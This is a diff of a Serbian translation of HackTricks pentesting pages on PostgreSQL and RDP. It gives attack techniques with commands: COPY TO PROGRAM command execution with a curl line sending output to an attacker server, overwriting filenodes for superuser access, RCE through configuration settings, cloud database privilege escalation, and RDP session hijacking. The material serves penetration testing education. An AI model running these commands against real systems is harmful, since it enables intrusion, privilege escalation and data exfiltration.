koje ova uloga može napraviti. -1 znači da nema ograničenja. | +| rolpassword | Ne lozinka (uvek se čita kao `********`) | +| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka | | rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. | | rolconfig | Podrazumevane vrednosti za konfiguracione promenljive za izvršavanje u vreme izvršavanja | | oid | ID uloge | @@ -246,7 +264,7 @@ GRANT pg_read_server_files TO username; [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} -Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti: +Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Mogu ih koristiti samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama**: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres @@ -275,8 +293,6 @@ Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/ ### Jednostavno pisanje datoteka Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti kopiranje za pisanje datoteka. - -{% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` @@ -287,40 +303,52 @@ Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, može ```sql GRANT pg_write_server_files TO username; ``` -### **Postavljanje binarnih datoteka** +[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole) +{% endhint %} -Međutim, postoje **druge tehnike za postavljanje velikih binarnih datoteka:** +Zapamtite da **COPY ne može rukovati znakovima nove linije**, stoga čak i ako koristite base64 payload, **morate poslati jednolinijski**.\ +Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.** + +### **Uploadovanje binarnih fajlova** + +Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} -### Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja datoteka +## -Ako imate potrebne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezanu fajl-nod** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +**Savet za bug bounty**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! -Neophodni koraci: +{% embed url="https://go.intigriti.com/hacktricks" %} -1. Dobijanje direktorijuma podataka PostgreSQL-a +### Ažuriranje podataka tabele PostgreSQL-a putem lokalnog pisanja fajlova + +Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL-a, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvora** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). + +Potrebni koraci: + +1. Dobijanje direktorijuma podataka PostgreSQL-a ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često korišćeno ime klastera je `main`. -2. Dobijanje relativne putanje do fajl-noda, povezanog sa ciljnom tabelom +2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom ```sql SELECT pg_relation_filepath('{IME_TABELE}') ``` -Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`. -3. Preuzimanje fajl-noda kroz funkcije `lo_*` +Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku biće `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`. +3. Preuzimanje fajl čvora kroz funkcije `lo_*` ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom +4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom ```sql SELECT @@ -341,33 +369,33 @@ JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{IME_TABELE}'; ``` -5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) za [uređivanje fajl-noda](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole. +5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvora](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI} ``` -![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Ponovo otpremite uređeni fajl-nod putem funkcija `lo_*`, i prepisujte originalni fajl na disku +![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) +6. Ponovo otpremite uređeni fajl čvora putem funkcija `lo_*`, i prepisujte originalni fajl na disku ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` -7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita +7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u. -Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeći odeljak**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). +Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeću sekciju**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE ### **RCE do programa** -Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti kopiranje za RCE (primer sa eksfiltracijom: +Od [verzije 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -393,7 +421,7 @@ GRANT pg_execute_server_program TO username; {% endhint %} Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\ -Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo [funkcionalnost i da neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo [funkcionalnost i neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE sa PostgreSQL jezicima @@ -412,10 +440,10 @@ Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke** ### RCE sa konfiguracionom datotekom PostgreSQL-a {% hint style="info" %} -Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava +Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti kroz ugniježđene SELECT naredbe {% endhint %} -**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.** +**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik**, možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.** ![](<../.gitbook/assets/image (303).png>) @@ -433,7 +461,7 @@ Zatim, napadač će morati: 1. **Izvući privatni ključ** sa servera 2. **Šifrovati** preuzeti privatni ključ: -1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` +1. `rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Prepisati** 4. **Izvući** trenutnu postgresql **konfiguraciju** 5. **Prepisati** **konfiguraciju** sa pomenutim atributima konfiguracije: @@ -441,7 +469,7 @@ Zatim, napadač će morati: 2. `ssl_passphrase_command_supports_reload = on` 6. Izvršiti `pg_reload_conf()` -Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da se nalazi u _/var/lib/postgresql/12/main_. +Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_. #### **RCE sa archive\_command** @@ -458,7 +486,7 @@ Opšti koraci su: 3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()` 4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa -#### **RCE sa preload bibliotekama** +#### **RCE sa bibliotekama za učitavanje pri pokretanju** Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/). @@ -529,11 +557,11 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so ### **Postgres Privesc** -#### **Dodeljivanje** +#### **Grant** Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._ -Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam omogućava čitanje i pisanje datoteka i izvršavanje komandi: +Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam može omogućiti čitanje i pisanje datoteka i izvršavanje komandi: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -551,7 +579,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER -Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**: +Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` @@ -571,9 +599,9 @@ U [**ovom objašnjenju**](https://www.wiz.io/blog/the-cloud-has-an-isolation-pro Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi da dobijete **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP-u: -
+
-Povezujući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika. +Povezujući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -582,12 +610,12 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); #### Eksploatacija 1. Počnite kreiranjem nove tabele. -2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa. -3. Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi. -4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka. -5. Izvršite operaciju ANALYZE na tabeli. Ova akcija prisiljava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande. +2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja. +3. Razvijte zlonamernu funkciju indeksiranja koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi. +4. Izmijenite vlasnika tabele u "cloudsqladmin", što je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka. +5. Izvršite ANALYZE operaciju na tabeli. Ova akcija nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin", omogućavajući izvršavanje prethodno neovlašćene shell komande. -U PostgreSQL-u, ovaj tok izgleda nekako ovako: +U PostgreSQL-u, ovaj tok izgleda nešto ovako: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); @@ -633,7 +661,7 @@ CREATE EXTENSION dblink; ``` {% endhint %} -Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljnog IP, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik: +Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser @@ -647,7 +675,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Prilagođena definisana funkcija sa** SECURITY DEFINER -[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da postanu superkorisnici unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER zastavicom**: +[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da postanu superkorisnici unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -668,22 +696,22 @@ PERFORM dblink_disconnect();
 …
 
-Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **povećanje privilegija unutar postgresa**. +Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **povećanje privilegija unutar postgres-a**. -Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**. +Na liniji 4 prethodnog koda možete videti da funkcija ima oznaku **SECURITY DEFINER**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` -### Izvršite komande: +I zatim **izvršite komande**:
-### Provalite BruteForce sa PL/pgSQL +### Prođite BruteForce sa PL/pgSQL -**PL/pgSQL** je **potpuno opremljen programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\ -**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da provalite korisničke podatke.** +**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\ +**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -692,23 +720,23 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ### Povećanje privilegija pisanjem preko internih PostgreSQL tabela {% hint style="info" %} -Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe. +Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe {% endhint %} -Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL fajlnoda na disku, koji je povezan sa internom tabelom `pg_authid`. +Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom `pg_authid`. Pročitajte više o **ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** Koraci napada su: 1. Dobijanje PostgreSQL direktorijuma sa podacima -2. Dobijanje relativne putanje do fajlnoda, povezanog sa tabelom `pg_authid` -3. Preuzimanje fajlnoda kroz funkcije `lo_*` +2. Dobijanje relativne putanje do filenode-a, povezanog sa tabelom `pg_authid` +3. Preuzimanje filenode-a kroz funkcije `lo_*` 4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid` -5. Koristite [PostgreSQL Editor Fajlnoda](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajlnod](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja. -6. Ponovo otpremite uređeni fajlnod putem funkcija `lo_*`, i prepišite originalni fajl na disku -7. _(Po želji)_ Obrišite keširanu tabelu iz memorije pokretanjem skupog SQL upita -8. Sada biste trebali imati privilegije potpunog superadministratora. +5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja. +6. Ponovo otpremite uređeni filenode putem funkcija `lo_*`, i prepišite originalni fajl na disku +7. _(Opciono)_ Obrišite keširanu tabelu iz memorije pokretanjem skupog SQL upita +8. Sada biste trebali imati privilegije potpunog superadmina. ## **POST** ``` @@ -718,9 +746,9 @@ msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` -### logovanje +### beleženje -Unutar fajla _**postgresql.conf**_ možete omogućiti logove postgresql baze podataka menjajući: +Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjajući: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' @@ -733,8 +761,8 @@ Zatim, **ponovo pokrenite servis**. ### pgadmin -[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj za PostgreSQL.\ -Možete pronaći **šifre** unutar _**pgadmin4.db**_ datoteke\ +[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baze podataka.\ +Možete pronaći **šifre** unutar _**pgadmin4.db**_ fajla.\ Možete ih dešifrovati koristeći _**decrypt**_ funkciju unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" @@ -744,6 +772,6 @@ string pgadmin4.db ``` ### pg\_hba -Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervni ili rezervni zapis ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen. +Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen. -Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširan, kriptovano enkriptovan ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid. +Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid. diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md index 0abcd2f72..a7fbe656e 100644 --- a/network-services-pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -10,19 +10,19 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## Osnovne informacije -Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejsnu vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ovaj setup omogućava besprekornu kontrolu i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika. +Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejsnu vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ovaj setup omogućava besprekorno upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika. **Podrazumevani port:** 3389 ``` @@ -67,9 +67,9 @@ rdp\_check.py iz impacket-a vam omogućava da proverite da li su neki podaci za ```bash rdp_check /:@ ``` -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -91,7 +91,7 @@ Sada ćete biti unutar odabrane RDP sesije i moraćete da se predstavite kao kor **Važno**: Kada pristupite aktivnoj RDP sesiji, isključićete korisnika koji je koristio sesiju. -Možete dobiti lozinke iz procesa ispisivanjem, ali ovaj metod je mnogo brži i omogućava vam da interagujete sa virtuelnim desktopom korisnika (lozinke u Notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...) +Možete dobiti lozinke iz procesa iskopiranjem, ali ovaj metod je mnogo brži i omogućava vam da interagujete sa virtuelnim desktopom korisnika (lozinke u Notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...) #### **Mimikatz** @@ -106,7 +106,7 @@ Kombinovanjem ove tehnike sa **stickykeys** ili **utilman** moći ćete da prist Možete pretražiti RDP-ove koji su već zaraženi jednom od ovih tehnika sa: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) -### RDP Ubacivanje Procesa +### RDP Injekcija Procesa Ako se neko iz drugog domena ili sa **većim privilegijama prijavi putem RDP-a** na računar gde **vi imate administratorske privilegije**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on: @@ 